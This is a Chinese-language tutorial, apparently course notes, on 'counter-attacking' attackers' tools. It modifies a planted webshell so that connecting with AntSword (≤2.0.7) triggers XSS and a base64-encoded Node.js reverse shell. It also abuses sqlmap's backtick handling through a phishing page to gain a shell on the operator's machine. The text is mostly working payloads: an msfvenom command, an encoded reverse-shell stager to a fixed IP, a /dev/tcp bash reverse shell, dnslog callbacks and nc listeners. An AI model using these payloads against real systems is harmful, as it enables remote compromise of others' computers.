常见安全工具反制
一、蚁剑反制
AntSowrd<=2.0.7
1.1、webshell连接
php -S 0.0.0.0:9991 |
1.2、反制antsword
课程为了演示需要,是单独创建的webshell.php 、webshell2.php 、webshell3.php
实际流程是蓝队通过入侵排查发现红队传入的webshell文件,直接修改webshell文件,红队再次
连接时就会中招
1.2.1、弹窗
<?php header("HTTP/1.1 500 <img src=1 onerror=alert(1) />") ?> |
更改webshell
更改后在连接后触发弹窗
1.2.2、反制
- 生成nodejs反弹shell脚本
msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.43.128 LPORT=12333 -f base64 |
192.168.43.128是kali的IP地址
- 将生成的base64编码后的字符替换到下面的buffer
header("HTTP/1.1 500 <img src=1 onerror='eval(new Buffer(`IChmdW5jdGlvbigpeyB2YXIgcmVxdWlyZSA9IGdsb2JhbC5yZXF1aXJlIHx8IGdsb2JhbC5wcm9jZXNzLm1haW5Nb2R1bGUuY29uc3RydWN0b3IuX2xvYWQ7IGlmICghcmVxdWlyZSkgcmV0dXJuOyB2YXIgY21kID0gKGdsb2JhbC5wcm9jZXNzLnBsYXRmb3JtLm1hdGNoKC9ed2luL2kpKSA/ICJjbWQiIDogIi9iaW4vc2giOyB2YXIgbmV0ID0gcmVxdWlyZSgibmV0IiksIGNwID0gcmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLCB1dGlsID0gcmVxdWlyZSgidXRpbCIpLCBzaCA9IGNwLnNwYXduKGNtZCwgW10pOyB2YXIgY2xpZW50ID0gdGhpczsgdmFyIGNvdW50ZXI9MDsgZnVuY3Rpb24gU3RhZ2VyUmVwZWF0KCl7IGNsaWVudC5zb2NrZXQgPSBuZXQuY29ubmVjdCgxMjMzMywgIjE5Mi4xNjguNDMuMTI4IiwgZnVuY3Rpb24oKSB7IGNsaWVudC5zb2NrZXQucGlwZShzaC5zdGRpbik7IGlmICh0eXBlb2YgdXRpbC5wdW1wID09PSAidW5kZWZpbmVkIikgeyBzaC5zdGRvdXQucGlwZShjbGllbnQuc29ja2V0KTsgc2guc3RkZXJyLnBpcGUoY2xpZW50LnNvY2tldCk7IH0gZWxzZSB7IHV0aWwucHVtcChzaC5zdGRvdXQsIGNsaWVudC5zb2NrZXQpOyB1dGlsLnB1bXAoc2guc3RkZXJyLCBjbGllbnQuc29ja2V0KTsgfSB9KTsgc29ja2V0Lm9uKCJlcnJvciIsIGZ1bmN0aW9uKGVycm9yKSB7IGNvdW50ZXIrKzsgaWYoY291bnRlcjw9IDEwKXsgc2V0VGltZW91dChmdW5jdGlvbigpIHsgU3RhZ2VyUmVwZWF0KCk7fSwgNSoxMDAwKTsgfSBlbHNlIHByb2Nlc3MuZXhpdCgpOyB9KTsgfSBTdGFnZXJSZXBlYXQoKTsgfSkoKTs=`,`base64`).toString())' />") |
替换到webshell中
- kali监听12333端口
nc -lvvp 12333 |
监听后再次尝试使用蚁剑连接
拿到蚁剑主机的cmd执行窗口。
如果在实战中,速度一定要快,可以提前准备好,直接篡改webshell静等再次连接就可以了
二、Sqlmap反制
2.1、sqlmap执行系统命令
在Linux操作系统中,``包裹的字符串会被当作系统命令执行,在sqlmap的运行中可以采用如下的方式让系统执行ls命令
python sqlmap.py -u "http://158.247.240.30:10881/?id=a&b=`ls`" |
python sqlmap.py -u "http://158.247.240.30:10881/?id=`curl 666.cvrste.dnslog.cn`" |
2.2、钓鱼页面
kali中写好钓鱼页面
- 需要使用base64编码的payload
编码前:bash -i >& /dev/tcp/158.247.240.30/99980>&1 |
<html> |
kali开启web服务
python3 -m http.server 9999 |
监听端口
nc -lvnp 9998 |
诱导红队执行下面攻击行为
python sqlmap.py -u "http://158.247.240.30:10881/" --data="name=sdf&sadf=sadf&command=`echo " |
此行为如果采用下列两种方式,将不会成立
1.-r 选项导入请求消息进行sqlmap测试,sqlmap并不会解析其中的
2.GET请求表单执行反弹shell,GET方式默认会对特殊符号进行url编码,导致sqlmap无法识别编码之后的``符号,如果你觉得红队在用sqlmap之前会自行解一次码,那这种情况其实也可以成立。
Kali或云服务器收到sqlmap执行计算机的命令行